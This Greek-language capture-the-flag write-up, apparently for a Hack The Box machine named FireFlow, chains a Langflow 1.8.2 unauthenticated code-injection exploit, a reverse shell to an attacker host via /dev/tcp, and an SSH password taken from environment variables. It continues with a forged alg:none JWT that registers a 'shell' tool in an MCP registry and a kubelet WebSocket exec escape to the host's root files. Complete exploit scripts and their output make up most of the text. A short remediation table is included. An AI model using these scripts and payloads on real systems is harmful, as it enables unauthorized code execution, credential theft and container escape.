← Πίσω στα posts
English · Ελληνικά
Το FireFlow αλυσιδώνει τρεις ξεχωριστές επιφάνειες επίθεσης σε ένα πλήρες compromise: το Langflow 1.8.2 εκθέτει ένα unauthenticated endpoint POST /api/v1/build_public_tmp που κάνει compile node graphs που δίνει ο χρήστης, εκτελώντας injected κώδικα Python στο πεδίο .template.code του component. Από εκεί, κάνουμε escalate σε ένα cluster Kubernetes μέσω της υπηρεσίας MCP AI Tool Registry (θύρα 30080), της οποίας η αυθεντικοποίηση JWT δέχεται ένα token "alg": "none" — παρακάμπτοντας εντελώς το auth. Τελικά, κάνουμε escape το pod μέσω του kubelet WebSocket exec API, αξιοποιώντας το δικαίωμα RBAC nodes/proxy του service account για να τρέξουμε εντολές σε ένα privileged pod node-exporter με hostPath mounts του filesystem του host.
Langflow RCE :443
→
www-data shell
→
SSH creds
→
nightfall SSH
→
MCP JWT bypass
→
kubelet escape
→
root
Αναγνώριση
Nmap
nmap
SP1R4@kali)-[~]
└$ nmap -p- --min-rate 2000 -sC -sV <TARGET_IP>
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 5ubuntu2.2
443/tcp open ssl/http nginx 1.26.0
|_ssl-date: 2026-09-04
| tls-alpn:
|_ h2
| ssl-cert: Subject: CN=*.fireflow.htb
|_Subject Alternative Name: DNS:*.fireflow.htb, DNS:fireflow.htb
Δύο θύρες: SSH και HTTPS με ένα wildcard cert για το *.fireflow.htb. Το hostname μας δίνει το vhost· πρόσθεσέ το στο /etc/hosts και κάνε browse.
/etc/hosts
SP1R4@kali)-[~]
└$ echo "<TARGET_IP> fireflow.htb flow.fireflow.htb" | sudo tee -a /etc/hosts
Ανακάλυψη Langflow
Το fireflow.htb είναι μια landing page για το "Task Force Nightfall". Το flow.fireflow.htb αποκαλύπτει τον πραγματικό στόχο: Langflow 1.8.2, ένα framework LLM orchestration. Το public API εκθέτει ορισμούς flow:
Langflow public flow endpoint
curl -s https://flow.fireflow.htb/api/v1/flows/public_flow/7d84d636-af65-42e4-ac38-26e867052c25 | jq . | head -30
{
"id": "7d84d636-af65-42e4-ac38-26e867052c25",
"name": "Agent Dev",
"data": {
"nodes": [...],
"edges": [...]
}
}
Foothold — Langflow RCE μέσω Component Code Injection
Το build endpoint του Langflow στο POST /api/v1/build_public_tmp/{flow_id}/flow δέχεται ένα JSON graph από nodes και edges. Κατά τη μεταγλώττιση, το πεδίο .template.code κάθε node — που περιέχει πηγαίο κώδικα Python — εκτελείται τη στιγμή που χτίζεται το graph. Το endpoint είναι unauthenticated, και ο κώδικας που ελέγχει ο χρήστης τρέχει σαν ο web server (www-data).
Φτιάχνοντας το Payload
Κάνουμε inject ένα custom node component με αυθαίρετη Python στο πεδίο code:
langflow_rce.py — Python code injection
import json, subprocess, http.client, ssl, uuid
TARGET = "flow.fireflow.htb"
FLOW_ID = "7d84d636-af65-42e4-ac38-26e867052c25"
PAYLOAD = """import subprocess
result = subprocess.run(['bash', '-c', 'cat /etc/hostname > /tmp/proof.txt'], capture_output=True)
"""
node = {
"id": "Custom-1",
"type": "genericNode",
"position": {"x": 0, "y": 0},
"data": {
"id": "Custom-1",
"type": "CustomComponent",
"node": {
"base_classes": ["Message"],
"display_name": "Custom",
"field_order": [],
"template": {
"_type": "Component",
"code": {
"type": "code",
"value": PAYLOAD
}
}
}
}
}
body = json.dumps({
"data": {"nodes": [node], "edges": [], "viewport": {"x": 0, "y": 0, "zoom": 1}}
})
ctx = ssl._create_unverified_context()
conn = http.client.HTTPSConnection(TARGET, context=ctx)
headers = {
"Host": TARGET,
"Content-Type": "application/json",
"Cookie": f"client_id={uuid.uuid4()}"
}
conn.request("POST", f"/api/v1/build_public_tmp/{FLOW_ID}/flow", body.encode(), headers)
resp = conn.getresponse()
print(f"Status: {resp.status}")
print(f"Response: {resp.read().decode()[:500]}")
Το να εκτελείς κώδικα Python που δίνει ο χρήστης από ένα web request είναι επικίνδυνο εκ σχεδιασμού. Το Langflow το σχεδίασε αυτό μόνο για development flows, αλλά το endpoint κυκλοφορεί unauthenticated σε αυτό το box. Σε production, είτε απαίτησε authentication, είτε απομόνωσε τη μεταγλώττιση flow σε ένα sandbox, είτε απενεργοποίησε εντελώς τη δυναμική εκτέλεση κώδικα.
Αποκτώντας Reverse Shell
Μόλις επιβεβαιώσουμε εκτέλεση κώδικα, κάνουμε escalate σε interactive shell:
reverse shell via Langflow RCE
PAYLOAD = """import subprocess
subprocess.run(['bash', '-i', '>&', '/dev/tcp/<LHOST>/4444', '0>&1'], shell=True)
"""
SP1R4@kali)-[~]
└$ nc -lvnp 4444
connect to [<LHOST>] from 10.129.120.233
www-data@fireflow:/app$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data → nightfall — Credentials SSH στο Environment
Μέσα στο container, μεταβλητές environment διαρρέουν credentials:
environment enumeration
www-data@fireflow:/app$ env | grep -i pass
LANGFLOW_SUPERUSER_PASSWORD=n1ghtm4r3_b4_n1ghtf4ll
Εκείνο το password δουλεύει για SSH ως nightfall:
ssh nightfall@fireflow.htb
SP1R4@kali)-[~]
└$ ssh nightfall@10.129.120.233
Password: n1ghtm4r3_b4_n1ghtf4ll
nightfall@fireflow:~$ id && cat user.txt
uid=1000(nightfall) gid=1000(nightfall) groups=1000(nightfall)
[redacted — user flag: 4fc4c15bad3bd4a174c91a6ea88bc82c]
nightfall → root (μέσω MCP + Kubernetes)
Καταμέτρηση Θυρών: Υπηρεσία MCP στο :30080
Μέσα στο box, μια μη-στάνταρ υπηρεσία ακούει στο 127.0.0.1:30080:
netstat -tlnp (local only)
nightfall@fireflow:~$ ss -tlnp | grep 30080
LISTEN 127.0.0.1:30080 root /usr/bin/python3 (MCP service)
Παράκαμψη Authentication JWT του MCP
Το probing της υπηρεσίας αποκαλύπτει ότι είναι ένα AI Tool Registry MCP (Model Context Protocol) που χρησιμοποιεί JSON-RPC 2.0 και auth βασισμένο σε JWT. Ωστόσο, η υπηρεσία δέχεται JWT tokens με "alg": "none" — ένα κρίσιμο ελάττωμα. Όταν ένα JWT έχει alg: none, η επαλήθευση υπογραφής παραλείπεται· μπορούμε να πλαστογραφήσουμε admin tokens χωρίς να ξέρουμε το secret:
jwt_none_exploit.py
import json, base64, subprocess
def create_jwt_none():
header = {"typ": "JWT", "alg": "none"}
payload = {"sub": "admin", "admin": True, "role": "admin"}
def b64(data):
return base64.urlsafe_b64encode(json.dumps(data).encode()).decode().rstrip('=')
return f"{b64(header)}.{b64(payload)}." # No signature for 'none'
jwt = create_jwt_none()
print(f"[+] JWT (alg=none): {jwt[:60]}...")
# Register a malicious MCP tool in the registry
tool_def = {
"jsonrpc": "2.0",
"method": "register_tool",
"params": {
"name": "shell",
"description": "Execute shell commands",
"code": "import subprocess; subprocess.run(['id'], shell=True)"
},
"id": 1
}
cmd = f'''curl -s -X POST http://127.0.0.1:30080/mcp \
-H "Authorization: Bearer {jwt}" \
-H "Content-Type: application/json" \
-d '{json.dumps(tool_def)}'
'''
result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
print(f"[*] Tool registration response: {result.stdout[:500]}")
Kubernetes Escape: Kubelet WebSocket Exec
Με πρόσβαση MCP, ανακαλύπτουμε ότι το pod έχει credentials service account Kubernetes και δικαίωμα RBAC nodes/proxy. Το token του service account είναι mounted στο /var/run/secrets/kubernetes.io/serviceaccount/token. Το χρησιμοποιούμε για να συνδεθούμε στο API kubelet πάνω στον node και να εκτελέσουμε εντολές σε ένα privileged pod node-exporter που έχει hostPath mounts ολόκληρου του filesystem του host:
kubelet_escape.py
import asyncio, ssl, websockets
async def run():
TOKEN = open('/var/run/secrets/kubernetes.io/serviceaccount/token').read().strip()
NODE_IP = "<NODE_IP>" # The node running the pod
# Kubelet exec API: wss://NODE:10250/exec/NAMESPACE/POD/CONTAINER?command=...&output=1
url = f"wss://{NODE_IP}:10250/exec/monitoring/prometheus-prometheus-node-exporter-XXXXX/node-exporter"
url += "?output=1&error=1&command=cat&command=/host/root/root/root.txt"
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
async with websockets.connect(
url,
ssl=ctx,
additional_headers={"Authorization": f"Bearer {TOKEN}"},
subprotocols=["v4.channel.k8s.io"]
) as ws:
async for msg in ws:
# First byte is the stream type; rest is output
print(msg[1:].decode(errors="replace"), end="", flush=True)
asyncio.run(run())
Το pod node-exporter έχει hostPath mounts στο /host/ που αντιστοιχούν στο root filesystem του host. Το path /host/root/root/root.txt είναι στην πραγματικότητα το /root/root.txt του host:
kubelet exec → host root flag
wss://<NODE_IP>:10250/exec/.../node-exporter?command=cat&command=/host/root/root/root.txt
5b5b0c61343afebf2857fad4ee98cb5f
Το Kubernetes pod-to-host escape αλυσιδώνει το token του service account (με RBAC nodes/proxy) + API kubelet WebSocket + privileged pod mounts. Οι τρεις κρίκοι φαίνονται καθένας αθώος μεμονωμένα: τα service accounts είναι φυσιολογικά, το kubelet exec είναι σκόπιμο, και τα mounts container είναι για debugging. Μαζί, σχηματίζουν μια πλήρη privilege escalation σε root στον υποκείμενο node.
Γιατί Δούλεψε
| Σταδιο | Ριζα του προβληματος |
| www-data | Unauthenticated build endpoint του Langflow εκτελεί κώδικα Python που δίνει ο χρήστης (CWE-94) |
| nightfall | Credentials SSH σε plaintext μεταβλητές environment (CWE-798) |
| root | Η υπηρεσία MCP δέχεται JWT με alg: none, παρακάμπτοντας authentication· το service account έχει RBAC nodes/proxy· το pod node-exporter κάνει mount το filesystem του host μέσω hostPath (CWE-269 privilege delegation) |
Βασικές εντολές
quick reference
# Recon
nmap -p- --min-rate 2000 -sC -sV <TARGET_IP>
curl -s https://flow.fireflow.htb/api/v1/flows/public_flow/7d84d636... | jq .
# Foothold — Langflow RCE μέσω component code injection (:443)
python3 langflow_rce.py # POST /api/v1/build_public_tmp/{flow_id}/flow
# Πλάγια κίνηση — SSH ως nightfall
ssh nightfall@<TARGET_IP> # password from $LANGFLOW_SUPERUSER_PASSWORD
# Privilege escalation — MCP JWT none-algorithm bypass (:30080)
python3 jwt_none_exploit.py # Create JWT with alg=none, register MCP tools
# Kubernetes escape — kubelet WebSocket exec (:10250)
python3 kubelet_escape.py # WSS to node-exporter pod → /host/root/root.txt